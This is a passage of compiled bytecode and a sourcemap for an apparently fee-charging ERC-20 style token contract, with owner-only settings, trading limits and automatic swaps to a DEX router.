29190612e42565b6020604051808303815f875af11580156112f7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061131b9190612e7d565b905092915050565b5f47905060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606484846113709190612d6b565b61137a9190612dd9565b90811502906040515f60405180830381858888f193505050501580156113a2573d5f803e3d5ffd5b505050565b8060138190555050565b601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6113e2338484611657565b905092915050565b6113f333610f66565b611432576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142990612c92565b60405180910390fd5b6001811015611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d90612f18565b60405180910390fd5b6103e8816005546114879190612d6b565b6114919190612dd9565b60068190555050565b5f6115036114a6610ee7565b6114f56114e660026114d8601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661116a565b6119cf90919063ffffffff16565b856119cf90919063ffffffff16565b611a4690919063ffffffff16565b9050919050565b600f5481565b60105481565b5f60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b81601d60156101000a81548160ff02191690831515021790555080601e819055505050565b601c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d60149054906101000a900460ff1681565b5f83831115829061163c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611633919061280b565b60405180910390fd5b505f838561164a9190612f36565b9050809150509392505050565b5f601f5f9054906101000a900460ff161561167e57611677848484611a8f565b905061197f565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561171c575060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561177157601d60149054906101000a900460ff16611770576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176790612fb3565b60405180910390fd5b5b611779611c59565b1561178757611786611d2b565b5b61180e826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115f59092919063ffffffff16565b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f6118598561227b565b158061186b57506118698461227b565b155b61187f5761187a8584866122ce565b611881565b825b90506118d38160085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461269290919063ffffffff16565b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119719190612768565b60405180910390a360019150505b9392505050565b5f6119c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115f5565b905092915050565b5f8083036119df575f9050611a40565b5f82846119ec9190612d6b565b90508284826119fb9190612dd9565b14611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3290613041565b60405180910390fd5b809150505b92915050565b5f611a8783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126ef565b905092915050565b5f611b17826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115f59092919063ffffffff16565b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ba88260085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461269290919063ffffffff16565b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c469190612768565b60405180910390a3600190509392505050565b5f601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611cc35750601f5f9054906101000a900460ff16155b8015611cdb5750601d60159054906101000a900460ff165b8015611d265750601e5460085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b905090565b6001601f5f6101000a81548160ff0219169083151502179055505f611d54601a54601b54610ba4565b611d6057600d54611d62565b5f5b90505f611da16002611d93601154611d8586601e546119cf90919063ffffffff16565b611a4690919063ffffffff16565b611a4690919063ffffffff16565b90505f611db982601e5461198690919063ffffffff16565b90505f600267ffffffffffffffff811115611dd757611dd661305f565b5b604051908082528060200260200182016040528015611e055781602001602082028036833780820191505090505b50905030815f81518110611e1c57611e1b61308c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611e8c57611e8b61308c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f479050601c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8530426040518663ffffffff1660e01b8152600401611f2c9594939291906131a9565b5f604051808303815f87803b158015611f43575f80fd5b505af1158015611f55573d5f803e3d5ffd5b505050505f611f6d824761198690919063ffffffff16565b90505f611f98611f87600289611a4690919063ffffffff16565b60115461198690919063ffffffff16565b90505f611fd36002611fc584611fb78c886119cf90919063ffffffff16565b611a4690919063ffffffff16565b611a4690919063ffffffff16565b90505f611ffd83611fef600e54876119cf90919063ffffffff16565b611a4690919063ffffffff16565b90505f61202784612019600f54886119cf90919063ffffffff16565b611a4690919063ffffffff16565b90505f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683617530906040516120739061322e565b5f60405180830381858888f193505050503d805f81146120ae576040519150601f19603f3d011682016040523d82523d5f602084013e6120b3565b606091505b5050905060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682617530906040516121009061322e565b5f60405180830381858888f193505050503d805f811461213b576040519150601f19603f3d011682016040523d82523d5f602084013e612140565b606091505b5050809150505f90505f8a111561225557601c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308d5f8060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016121d796959493929190613242565b60606040518083038185885af11580156121f3573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061221891906132b5565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506848b60405161224c929190613305565b60405180910390a15b50505050505050505050505f601f5f6101000a81548160ff021916908315150217905550565b5f600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16159050919050565b5f806015549050601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361233357601354905061238e565b601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361238d5760145490505b5b5f6123d660646012546123a19190612d6b565b6123c8846123ba6011548a6119cf90919063ffffffff16565b6119cf90919063ffffffff16565b611a4690919063ffffffff16565b90505f6124026011546123f4601054856119cf90919063ffffffff16565b611a4690919063ffffffff16565b90505f612418828461198690919063ffffffff16565b905061246a8160085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461269290919063ffffffff16565b60085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061251c8260085f60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461269290919063ffffffff16565b60085f60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125db9190612768565b60405180910390a35f8211156126725760195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126699190612768565b60405180910390a35b612685838861198690919063ffffffff16565b9450505050509392505050565b5f8082846126a0919061332c565b9050838110156126e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126dc906133a9565b60405180910390fd5b8091505092915050565b5f8083118290612735576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272c919061280b565b60405180910390fd5b505f83856127439190612dd9565b9050809150509392505050565b5f819050919050565b61276281612750565b82525050565b5f60208201905061277b5f830184612759565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156127b857808201518184015260208101905061279d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6127dd82612781565b6127e7818561278b565b93506127f781856020860161279b565b612800816127c3565b840191505092915050565b5f6020820190508181035f83015261282381846127d3565b905092915050565b5f80fd5b61283881612750565b8114612842575f80fd5b50565b5f813590506128538161282f565b92915050565b5f6020828403121561286e5761286d61282b565b5b5f61287b84828501612845565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6128ad82612884565b9050919050565b6128bd816128a3565b81146128c7575f80fd5b50565b5f813590506128d8816128b4565b92915050565b5f80604083850312156128f4576128f361282b565b5b5f612901858286016128ca565b925050602061291285828601612845565b9150509250929050565b5f8115159050919050565b6129308161291c565b82525050565b5f6020820190506129495f830184612927565b92915050565b5f80604083850312156129655761296461282b565b5b5f61297285828601612845565b925050602061298385828601612845565b9150509250929050565b5f61299782612884565b9050919050565b6129a78161298d565b81146129b1575f80fd5b50565b5f813590506129c28161299e565b92915050565b5f602082840312156129dd576129dc61282b565b5b5f6129ea848285016129b4565b91505092915050565b5f805f60608486031215612a0a57612a0961282b565b5b5f612a17868287016128ca565b9350506020612a28868287016128ca565b9250506040612a3986828701612845565b9150509250925092565b5f60208284031215612a5857612a5761282b565b5b5f612a65848285016128ca565b91505092915050565b5f60ff82169050919050565b612a8381612a6e565b82525050565b5f602082019050612a9c5f830184612a7a565b92915050565b5f805f8060808587031215612aba57612ab961282b565b5b5f612ac7878288016128ca565b9450506020612ad8878288016128ca565b9350506040612ae9878288016128ca565b9250506060612afa878288016128ca565b91505092959194509250565b612b0f816128a3565b82525050565b5f602082019050612b285f830184612b06565b92915050565b5f8060408385031215612b4457612b4361282b565b5b5f612b51858286016128ca565b9250506020612b62858286016128ca565b9150509250929050565b612b758161291c565b8114612b7f575f80fd5b50565b5f81359050612b9081612b6c565b92915050565b5f8060408385031215612bac57612bab61282b565b5b5f612bb985828601612b82565b9250506020612bca85828601612845565b9150509250929050565b5f819050919050565b5f612bf7612bf2612bed84612884565b612bd4565b612884565b9050919050565b5f612c0882612bdd565b9050919050565b5f612c1982612bfe565b9050919050565b612c2981612c0f565b82525050565b5f602082019050612c425f830184612c20565b92915050565b7f214f574e455200000000000000000000000000000000000000000000000000005f82015250565b5f612c7c60068361278b565b9150612c8782612c48565b602082019050919050565b5f6020820190508181035f830152612ca981612c70565b9050919050565b7f4d61782057616c6c65742063616e6e6f74206265206c6f776572207468616e205f8201527f312520746f74616c20737570706c792e00000000000000000000000000000000602082015250565b5f612d0a60308361278b565b9150612d1582612cb0565b604082019050919050565b5f6020820190508181035f830152612d3781612cfe565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612d7582612750565b9150612d8083612750565b9250828202612d8e81612750565b91508282048414831517612da557612da4612d3e565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612de382612750565b9150612dee83612750565b925082612dfe57612dfd612dac565b5b828204905092915050565b5f612e1382612bfe565b9050919050565b612e2381612e09565b82525050565b5f602082019050612e3c5f830184612e1a565b92915050565b5f604082019050612e555f830185612b06565b612e626020830184612759565b9392505050565b5f81519050612e7781612b6c565b92915050565b5f60208284031215612e9257612e9161282b565b5b5f612e9f84828501612e69565b91505092915050565b7f4d6178205472616e73616374696f6e2063616e6e6f74206265206c6f776572205f8201527f7468616e20302e312520746f74616c20737570706c792e000000000000000000602082015250565b5f612f0260378361278b565b9150612f0d82612ea8565b604082019050919050565b5f6020820190508181035f830152612f2f81612ef6565b9050919050565b5f612f4082612750565b9150612f4b83612750565b9250828203905081811115612f6357612f62612d3e565b5b92915050565b7f54726164696e67206e6f74206f70656e207965740000000000000000000000005f82015250565b5f612f9d60148361278b565b9150612fa882612f69565b602082019050919050565b5f6020820190508181035f830152612fca81612f91565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61302b60218361278b565b915061303682612fd1565b604082019050919050565b5f6020820190508181035f8301526130588161301f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f6130dc6130d76130d2846130b9565b612bd4565b612750565b9050919050565b6130ec816130c2565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613124816128a3565b82525050565b5f613135838361311b565b60208301905092915050565b5f602082019050919050565b5f613157826130f2565b61316181856130fc565b935061316c8361310c565b805f5b8381101561319c578151613183888261312a565b975061318e83613141565b92505060018101905061316f565b5085935050505092915050565b5f60a0820190506131bc5f830188612759565b6131c960208301876130e3565b81810360408301526131db818661314d565b90506131ea6060830185612b06565b6131f76080830184612759565b9695505050505050565b5f81905092915050565b50565b5f6132195f83613201565b91506132248261320b565b5f82019050919050565b5f6132388261320e565b9150819050919050565b5f60c0820190506132555f830189612b06565b6132626020830188612759565b61326f60408301876130e3565b61327c60608301866130e3565b6132896080830185612b06565b61329660a0830184612759565b979650505050505050565b5f815190506132af8161282f565b92915050565b5f805f606084860312156132cc576132cb61282b565b5b5f6132d9868287016132a1565b93505060206132ea868287016132a1565b92505060406132fb868287016132a1565b9150509250925092565b5f6040820190506133185f830185612759565b6133256020830184612759565b9392505050565b5f61333682612750565b915061334183612750565b925082820190508082111561335957613358612d3e565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613393601b8361278b565b915061339e8261335f565b602082019050919050565b5f6020820190508181035f8301526133c081613387565b905091905056fea2646970667358221220e0e3e71f3655b8cf9c10de68899de3c33325c8aed620090f545f9ba74173e7bf64736f6c63430008160033

Deployed Bytecode Sourcemap

4359:10897:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6041:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7197:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12925:276;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7619:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15036:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5479:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6927:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5385:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2663:164;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14526:173;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8171:370;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14711:142;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2440:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5560:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7021:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13977:387;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7843:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5602:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5259:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6004:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7367:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5525:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4883:64;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4815:61;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7283:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7107:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5217:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2551:104;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13702:171;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13495:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13881:88;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5937:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8007:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13209:278;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14861:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5301:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5343;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7478:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14372:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5906:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5965:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6041:49;;;;:::o;7197:80::-;7245:13;7269:5;;;;;;;;;;;;;;;;;7262:12;;7197:80;:::o;12925:276::-;2391:19;2399:10;2391:7;:19::i;:::-;2383:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;13061:2:::1;13034:23;:29;;13026:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;13189:4;13161:23;13146:12;;:38;;;;:::i;:::-;13145:48;;;;:::i;:::-;13127:15;:66;;;;12925:276:::0;:::o;7619:216::-;7694:4;7746:6;7711:11;:23;7723:10;7711:23;;;;;;;;;;;;;;;:32;7735:7;7711:32;;;;;;;;;;;;;;;:41;;;;7789:7;7768:37;;7777:10;7768:37;;;7798:6;7768:37;;;;;;:::i;:::-;;;;;;;;7823:4;7816:11;;7619:216;;;;:::o;15036:150::-;15116:4;15172:6;15140:29;15160:8;15140:19;:29::i;:::-;:38;15133:45;;15036:150;;;;:::o;5479:37::-;;;;:::o;6927:88::-;6982:7;7000:12;;6993:19;;6927:88;:::o;5385:87::-;;;;:::o;2663:164::-;2391:19;2399:10;2391:7;:19::i;:::-;2383:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;2738:3:::1;2730:5;::::0;:11:::1;;;;;;;;;;;;;;;;;;2774:4;2752:14:::0;:19:::1;2767:3;2752:19;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;2794:25;2815:3;2794:25;;;;;;:::i;:::-;;;;;;;;2663:164:::0;:::o;14526:173::-;14632:7;14614:15;:25;;;;14679:12;14650:26;:41;;;;14526:173;;:::o;8171:370::-;8271:4;8326:17;8291:11;:19;8303:6;8291:19;;;;;;;;;;;;;;;:31;8311:10;8291:31;;;;;;;;;;;;;;;;:52;8288:186;;8393:69;8429:6;8393:69;;;;;;;;;;;;;;;;;:11;:19;8405:6;8393:19;;;;;;;;;;;;;;;:31;8413:10;8393:31;;;;;;;;;;;;;;;;:35;;:69;;;;;:::i;:::-;8359:11;:19;8371:6;8359:19;;;;;;;;;;;;;;;:31;8379:10;8359:31;;;;;;;;;;;;;;;:103;;;;8288:186;8493:40;8507:6;8515:9;8526:6;8493:13;:40::i;:::-;8486:47;;8171:370;;;;;:::o;14711:142::-;14764:7;14791:54;14829:15;14839:4;;;;;;;;;;;14829:9;:15::i;:::-;14791:33;14808:15;14818:4;;;;;;;;;;;14808:9;:15::i;:::-;14791:12;;:16;;:33;;;;:::i;:::-;:37;;:54;;;;:::i;:::-;14784:61;;14711:142;:::o;2440:103::-;2495:4;2530:5;;;;;;;;;;;2519:16;;:7;:16;;;2512:23;;2440:103;;;:::o;5560:35::-;;;;:::o;7021:80::-;7073:5;4741:1;7082:16;;7021:80;:::o;13977:387::-;2391:19;2399:10;2391:7;:19::i;:::-;2383:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;14177:22:::1;14153:21;;:46;;;;;;;;;;;;;;;;;;14233:21;14210:20;;:44;;;;;;;;;;;;;;;;;;14286:19;14265:18;;:40;;;;;;;;;;;;;;;;;;14337:19;14316:18;;:40;;;;;;;;;;;;;;;;;;13977:387:::0;;;;:::o;7843:122::-;7898:4;7922:35;7930:7;7939:17;7922:7;:35::i;:::-;7915:42;;7843:122;;;:::o;5602:40::-;;;;:::o;5259:35::-;;;;:::o;6004:30::-;;;;;;;;;;;;;:::o;7367:105::-;7433:7;7451:9;:18;7461:7;7451:18;;;;;;;;;;;;;;;;7444:25;;7367:105;;;:::o;5525:28::-;;;;:::o;4883:64::-;;;;:::o;4815:61::-;;;;:::o;7283:78::-;7335:7;7353:5;;;;;;;;;;;7346:12;;7283:78;:::o;7107:84::-;7157:13;7181:7;;;;;;;;;;;;;;;;;7174:14;;7107:84;:::o;5217:35::-;;;;:::o;2551:104::-;2604:4;2628:14;:19;2643:3;2628:19;;;;;;;;;;;;;;;;;;;;;;;;;2621:26;;2551:104;;;:::o;13702:171::-;13774:12;13813;13806:29;;;13836:20;;;;;;;;;;;13858:6;13806:59;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13799:66;;13702:171;;;;:::o;13495:199::-;13560:17;13580:21;13560:41;;13620:20;;;;;;;;;;;13612:38;;:74;13682:3;13663:16;13651:9;:28;;;;:::i;:::-;:34;;;;:::i;:::-;13612:74;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13549:145;13495:199;:::o;13881:88::-;13947:10;13938:6;:19;;;;13881:88;:::o;5937:19::-;;;;;;;;;;;;;:::o;8007:156::-;8087:4;8111:44;8125:10;8137:9;8148:6;8111:13;:44::i;:::-;8104:51;;8007:156;;;;:::o;13209:278::-;2391:19;2399:10;2391:7;:19::i;:::-;2383:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;13343:1:::1;13315:24;:29;;13307:97;;;;;;;;;;;;:::i;:::-;;;;;;;;;13475:4;13446:24;13431:12;;:39;;;;:::i;:::-;13430:49;;;;:::i;:::-;13415:12;:64;;;;13209:278:::0;:::o;14861:167::-;14929:7;14956:64;14997:22;:20;:22::i;:::-;14956:36;14969:22;14989:1;14969:15;14979:4;;;;;;;;;;;14969:9;:15::i;:::-;:19;;:22;;;;:::i;:::-;14956:8;:12;;:36;;;;:::i;:::-;:40;;:64;;;;:::i;:::-;14949:71;;14861:167;;;:::o;5301:35::-;;;;:::o;5343:::-;;;;:::o;7478:133::-;7562:7;7580:11;:19;7592:6;7580:19;;;;;;;;;;;;;;;:28;7600:7;7580:28;;;;;;;;;;;;;;;;7573:35;;7478:133;;;;:::o;14372:146::-;14468:8;14454:11;;:22;;;;;;;;;;;;;;;;;;14503:7;14487:13;:23;;;;14372:146;;:::o;5906:24::-;;;;;;;;;;;;;:::o;5965:30::-;;;;;;;;;;;;;:::o;423:192::-;509:7;542:1;537;:6;;545:12;529:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;569:9;585:1;581;:5;;;;:::i;:::-;569:17;;606:1;599:8;;;423:192;;;;;:::o;8549:772::-;8641:4;8661:6;;;;;;;;;;;8658:63;;;8677:41;8692:6;8700:9;8711:6;8677:14;:41::i;:::-;8670:48;;;;8658:63;8737:14;:22;8752:6;8737:22;;;;;;;;;;;;;;;;;;;;;;;;;8736:23;:53;;;;;8764:14;:25;8779:9;8764:25;;;;;;;;;;;;;;;;;;;;;;;;;8763:26;8736:53;8733:127;;;8813:11;;;;;;;;;;;8805:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;8733:127;8875:16;:14;:16::i;:::-;8872:35;;;8894:10;:8;:10::i;:::-;8872:35;8966:53;8988:6;8966:53;;;;;;;;;;;;;;;;;:9;:17;8976:6;8966:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;8946:9;:17;8956:6;8946:17;;;;;;;;;;;;;;;:73;;;;9032:22;9059:21;9073:6;9059:13;:21::i;:::-;9058:22;:51;;;;9085:24;9099:9;9085:13;:24::i;:::-;9084:25;9058:51;9057:99;;9122:34;9130:6;9138;9146:9;9122:7;:34::i;:::-;9057:99;;;9113:6;9057:99;9032:124;;9190:40;9215:14;9190:9;:20;9200:9;9190:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;9167:9;:20;9177:9;9167:20;;;;;;;;;;;;;;;:63;;;;9265:9;9248:43;;9257:6;9248:43;;;9276:14;9248:43;;;;;;:::i;:::-;;;;;;;;9309:4;9302:11;;;8549:772;;;;;;:::o;281:136::-;339:7;366:43;370:1;373;366:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;359:50;;281:136;;;;:::o;621:250::-;679:7;708:1;703;:6;699:47;;733:1;726:8;;;;699:47;758:9;774:1;770;:5;;;;:::i;:::-;758:17;;803:1;798;794;:5;;;;:::i;:::-;:10;786:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;862:1;855:8;;;621:250;;;;;:::o;877:132::-;935:7;962:39;966:1;969;962:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;955:46;;877:132;;;;:::o;9333:330::-;9426:4;9463:53;9485:6;9463:53;;;;;;;;;;;;;;;;;:9;:17;9473:6;9463:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;9443:9;:17;9453:6;9443:17;;;;;;;;;;;;;;;:73;;;;9550:32;9575:6;9550:9;:20;9560:9;9550:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;9527:9;:20;9537:9;9527:20;;;;;;;;;;;;;;;:55;;;;9615:9;9598:35;;9607:6;9598:35;;;9626:6;9598:35;;;;;;:::i;:::-;;;;;;;;9651:4;9644:11;;9333:330;;;;;:::o;10934:197::-;10983:4;11021;;;;;;;;;;;11007:18;;:10;:18;;;;:38;;;;;11039:6;;;;;;;;;;;11038:7;11007:38;:62;;;;;11058:11;;;;;;;;;;;11007:62;:116;;;;;11110:13;;11082:9;:24;11100:4;11082:24;;;;;;;;;;;;;;;;:41;;11007:116;11000:123;;10934:197;:::o;11139:1745::-;6146:4;6137:6;;:13;;;;;;;;;;;;;;;;;;11188:27:::1;11218:60;11234:15;;11251:26;;11218:15;:60::i;:::-;:79;;11285:12;;11218:79;;;11281:1;11218:79;11188:109;;11308:23;11334:59;11391:1;11334:52;11377:8;;11334:38;11352:19;11334:13;;:17;;:38;;;;:::i;:::-;